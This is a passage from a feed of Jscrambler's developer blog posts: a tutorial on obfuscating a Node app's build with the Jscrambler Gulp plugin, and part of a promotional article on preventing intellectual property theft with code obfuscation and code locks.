&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello World!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Example app listening at http://localhost:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This app starts a server and listens on port 3000 for connections. The app responds with “Hello World!” for requests to the root URL (/) or route.&lt;/p&gt;

&lt;p&gt;Now, let’s install Gulp as a dev dependency:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;gulp &lt;span class="nt"&gt;--save-dev&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then let’s create a &lt;code&gt;Gulpfile.js&lt;/code&gt; file in our project’s root folder containing the following boilerplate configuration (which will be used only in the next section):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;defaultTask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// place code for your default task here&lt;/span&gt;
  &lt;span class="nf"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;defaultTask&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, let’s run the Node app with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We will see a "Hello World" message on &lt;code&gt;localhost:3000&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to Configure Jscrambler
&lt;/h3&gt;

&lt;p&gt;Let's begin by getting a ready-to-use file with our intended Jscrambler configuration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you haven't created a &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-gulp"&gt;Jscrambler account&lt;/a&gt; yet, be sure to do so before moving forward.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Log into the &lt;a href="https://app.jscrambler.com/dashboard?utm_source=blog.jscrambler.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-gulp" rel="noopener noreferrer"&gt;Jscrambler Web App&lt;/a&gt;. Once there, create a new app. Now, it's time to pick the Jscrambler transformations that we want to use. We can pick them one-by-one in the &lt;em&gt;Fine-Tuning&lt;/em&gt; tab but, in our case, let's go ahead to the &lt;em&gt;Templates&lt;/em&gt; tab and pick the &lt;em&gt;Obfuscation&lt;/em&gt; template. If you need help with these steps, please refer to our &lt;a href="https://blog.jscrambler.com/jscrambler-101-first-use/#finetuning" rel="noopener noreferrer"&gt;guide&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now, we simply have to download a JSON file with all this configuration, which will be used only for quickly getting the required settings.&lt;/p&gt;

&lt;center&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.jscrambler.com%2Fcontent%2Fimages%2F2021%2F02%2Fjscrambler-app-download-JSON-4.gif" alt="Download Jscrambler JSON"&gt;&lt;/center&gt;

&lt;p&gt;Now that you have the file with the needed configuration, you can integrate Jscrambler with Gulp.&lt;/p&gt;

&lt;p&gt;Let’s install the &lt;a href="https://github.com/jscrambler/jscrambler/tree/master/packages/gulp-jscrambler" rel="noopener noreferrer"&gt;Jscrambler Gulp plugin&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;gulp-jscrambler &lt;span class="nt"&gt;--save-dev&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, we need to add the configurations we need to get Jscrambler working with Gulp. To do this, we will need some parts of the &lt;code&gt;jscrambler.json&lt;/code&gt; file we downloaded earlier: &lt;code&gt;accessKey&lt;/code&gt;, &lt;code&gt;secretKey&lt;/code&gt;, &lt;code&gt;applicationId&lt;/code&gt;, and the &lt;code&gt;params&lt;/code&gt; array.&lt;/p&gt;

&lt;p&gt;Our final &lt;code&gt;gulpfile.js&lt;/code&gt; file should look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;gulp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;gulp&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;jscrambler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;gulp-jscrambler&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;gulp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;default&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;done&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;gulp&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;src&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;jscrambler&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;accessKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;YOUR_ACCESS_KEY&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;secretKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;YOUR_SECRET_KEY&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;applicationId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;YOUR_APPLICATION_ID&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;objectPropertiesSparsing&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;variableMasking&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;whitespaceRemoval&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;identifiersRenaming&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;options&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
              &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mode&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SAFEST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dotToBracketNotation&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;stringConcealing&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;functionReordering&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;options&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
              &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;freq&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;features&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;opaqueFunctions&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
              &lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;functionOutlining&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;propertyKeysObfuscation&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;options&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
              &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;encoding&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hexadecimal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
              &lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;regexObfuscation&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;},&lt;/span&gt;
          &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;booleanToAnything&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
          &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;}))&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;gulp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dist/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;end&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;done&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we take a closer look at this file, we'll see that &lt;code&gt;src&lt;/code&gt; specified the path to the files that Jscrambler will use. At the bottom of the file, &lt;code&gt;.pipe(gulp.dest('dist/'))&lt;/code&gt; places the protected version on the &lt;code&gt;dist/&lt;/code&gt; folder. You can change these to match your project's requirements.&lt;/p&gt;

&lt;p&gt;Now, all that's left is to make sure that our build process is using Gulp. In our case, we must make sure that there's a script in our &lt;code&gt;package.json&lt;/code&gt; file to build our app using Gulp:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"build"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"gulp"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're now ready to run our build:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm run build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it! Now we have our protected build files. If we check our &lt;code&gt;/dist/app.js&lt;/code&gt; file, we will see that it has been obfuscated with Jscrambler.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Using a task runner like Gulp has become a must for web developers. Even though build tools like webpack have been seeing more traction these days, Gulp is still widely used—according to the &lt;a href="https://2020.stateofjs.com/en-US/technologies/build-tools/" rel="noopener noreferrer"&gt;2020 State of JavaScript&lt;/a&gt; survey, it is the second most popular build tool for JS, used by 65% of respondents.&lt;/p&gt;

&lt;p&gt;As we saw in this tutorial, &lt;strong&gt;integrating Jscrambler with Gulp is a straightforward process&lt;/strong&gt;, thanks to the Jscrambler Gulp plugin. With this integration, you can automatically protect the source code in each new build and ensure that you are minimizing your app’s exposure to abuse, reverse engineering, licensing violations, and code tampering.&lt;/p&gt;

&lt;p&gt;This all comes with premium support, so be sure to &lt;a href="https://jscrambler.com/contact?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-gulp"&gt;contact us&lt;/a&gt; if you have any questions!&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>gulp</category>
    </item>
    <item>
      <title>Preventing Intellectual Property Theft with Jscrambler</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Thu, 25 Nov 2021 10:43:07 +0000</pubDate>
      <link>https://forem.com/jscrambler/preventing-intellectual-property-theft-with-jscrambler-39l8</link>
      <guid>https://forem.com/jscrambler/preventing-intellectual-property-theft-with-jscrambler-39l8</guid>
      <description>&lt;h2&gt;
  
  
  What is intellectual property theft?
&lt;/h2&gt;

&lt;p&gt;Intellectual property theft (also called IP theft) refers to someone illegitimately taking possession of someone else’s proprietary inventions or developments. In the context of business, and specifically in IT, IP theft typically refers to a competitor or malicious actor getting access to trade secrets or proprietary algorithms to be used to the thief's own advantage.&lt;/p&gt;

&lt;p&gt;The acceleration of &lt;a href="https://www.information-age.com/security-risks-in-digital-transformation-123478326/"&gt;digital transformation&lt;/a&gt;, which was exacerbated by the Covid pandemic, has stimulated the development of new technologies, consequently increasing the value of companies’ intellectual property.&lt;/p&gt;

&lt;p&gt;This, of course, creates a huge opportunity for attackers and scammers. We have witnessed &lt;a href="https://www.theverge.com/2021/3/18/22336380/apple-app-store-scam-lawsuit-kosta-eleftheriou-flicktype-ios-developer"&gt;copycat apps going rampant in app stores&lt;/a&gt; and stealing business away from original developers, as well as &lt;a href="https://www.infosecurity-magazine.com/blogs/exposed-contact-tracing/"&gt;fake Covid tracking apps&lt;/a&gt; mimicking official government apps and installing malware on the user’s device.&lt;/p&gt;

&lt;p&gt;Looking at past attacks, it becomes clear that most intellectual property theft occurs in geographies with ambiguous IP laws, which makes enforcement extremely difficult. But even though tackling this problem is no easy task, &lt;strong&gt;prevention is considerably more beneficial for businesses than remediation&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Consequences of intellectual property theft
&lt;/h2&gt;

&lt;p&gt;The Commission on the Theft of American Intellectual Property points out in their &lt;a href="https://www.nbr.org/wp-content/uploads/pdfs/publications/IP_Commission_Report_Update.pdf"&gt;IP commission Report&lt;/a&gt; that IP theft ends up costing affected companies around &lt;strong&gt;$225 billion to $600 billion&lt;/strong&gt;. While this figure will vary substantially from case to case and the indirect damages are extremely difficult to estimate, it’s simple enough to understand the potential damages in specific examples.&lt;/p&gt;

&lt;p&gt;In the case of &lt;strong&gt;copycat applications&lt;/strong&gt;, for instance, malicious actors typically steal the whole source code of the application and deploy it posing as a legitimate app. They may then monetize the application, taking advantage of the leniency that app stores are displaying, failing to crack down on copycats.&lt;/p&gt;

&lt;p&gt;Here, there’s a direct impact on the affected business with the loss of revenue. The vast majority of users aren't able to differentiate between an original app and a copycat, and so while the app remains available on app stores (which can go on for months), the copycat app will be diverting sales. In some cases, the copycat app can also be used to distribute malware, jeopardizing the reputation of the company.&lt;/p&gt;

&lt;p&gt;A second example of IP theft relates to a competitor wanting to retrieve a &lt;strong&gt;proprietary algorithm&lt;/strong&gt;. In highly competitive sectors such as E-Commerce, companies invest heavily in specialized algorithms to improve their conversion rate. Competitors may go through the app’s source code to analyze the logic of these algorithms, allowing them to mimic their behavior and utilize it for their own gain. As a result, the company that originally developed the algorithm will &lt;strong&gt;lose a competitive advantage&lt;/strong&gt; that could translate into millions of dollars in revenue.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent intellectual property theft with Jscrambler
&lt;/h2&gt;

&lt;p&gt;In order to prevent intellectual property theft in web and mobile applications, businesses need to adopt adequate measures to secure their intellectual property (i.e. their source code). But how exactly can they secure it? &lt;/p&gt;

&lt;p&gt;To make this easier to digest, let’s pick up our previous two examples: copycat applications and a competitor trying to retrieve a proprietary algorithm. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; For a hands-on experience, feel free to try the code protection measures we will explore below on your own code by using a Jscrambler &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=intellectual-property-theft"&gt;free trial&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stopping copycat applications
&lt;/h3&gt;

&lt;p&gt;In the case of copycat apps, as we saw, malicious actors will try to get access to the source code of the original application in order to copy it and benefit from it. So, to prevent that, businesses need to focus on adding strong protection to their source code to stop those malicious actors from ever being able to understand or replicate the code’s logic.&lt;/p&gt;

&lt;p&gt;The answer to this is &lt;strong&gt;applying code obfuscation&lt;/strong&gt; along with other code protection techniques that can be used to stop third parties from trying to reuse the code. This is actually a security recommendation by OWASP, precisely because of the underlying dangers of having exposed code.&lt;/p&gt;

&lt;p&gt;So, the first step to stop copycats would be to conceal the code using &lt;a href="https://blog.jscrambler.com/javascript-obfuscation-the-definitive-guide/"&gt;JavaScript obfuscation&lt;/a&gt;, which includes a series of code transformations that turn the otherwise exposed code into a protected version that is extremely hard to understand and reverse-engineer. But to make the concealed code effectively safe from copycats, &lt;strong&gt;obfuscation alone isn't enough&lt;/strong&gt;—an obfuscated app will run just like the original code, so copycats could just replicate that code. This is why simple obfuscation tools fail the purpose of actually making it hard for copycats to create app replicas. &lt;/p&gt;

&lt;p&gt;Jscrambler provides copycat protection by applying &lt;strong&gt;additional strong code protection techniques on top of the obfuscation&lt;/strong&gt;, namely &lt;a href="https://blog.jscrambler.com/jscrambler-101-code-locks/"&gt;Code Locks&lt;/a&gt; and the &lt;a href="https://blog.jscrambler.com/jscrambler-101-self-defending/"&gt;Self Defending layer&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;Code Locks are especially useful against copycats because they &lt;strong&gt;provide control over the environment where the code is allowed to run&lt;/strong&gt;. A date lock, for example, automatically “expires” the code after a certain time, meaning that copycats would have to continuously retrieve fresh batches of code to avoid having broken apps. A browser or domain lock, on the other hand, allow locking the original code to certain browsers or domains, which prevents the copycat from actually running.&lt;/p&gt;

&lt;p&gt;In case the copycats attempt debugging the code to try and learn how the application works, Jscrambler’s Self-Defending feature protects functions and object literals—concealing their logic—and detects debuggers to trigger defenses that thwart reverse engineering attempts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stopping a competitor from retrieving a proprietary algorithm
&lt;/h3&gt;

&lt;p&gt;When it comes to valuable proprietary algorithms, competitors may want to try and retrieve the source code that contains them to use it to their own advantage. To prevent that, as we saw in our previous example, we need to protect the source code.&lt;/p&gt;

&lt;p&gt;Let’s take a look at the example code below. It’s an algorithm that recommends products based on the customer’s previous purchase history.&lt;/p&gt;


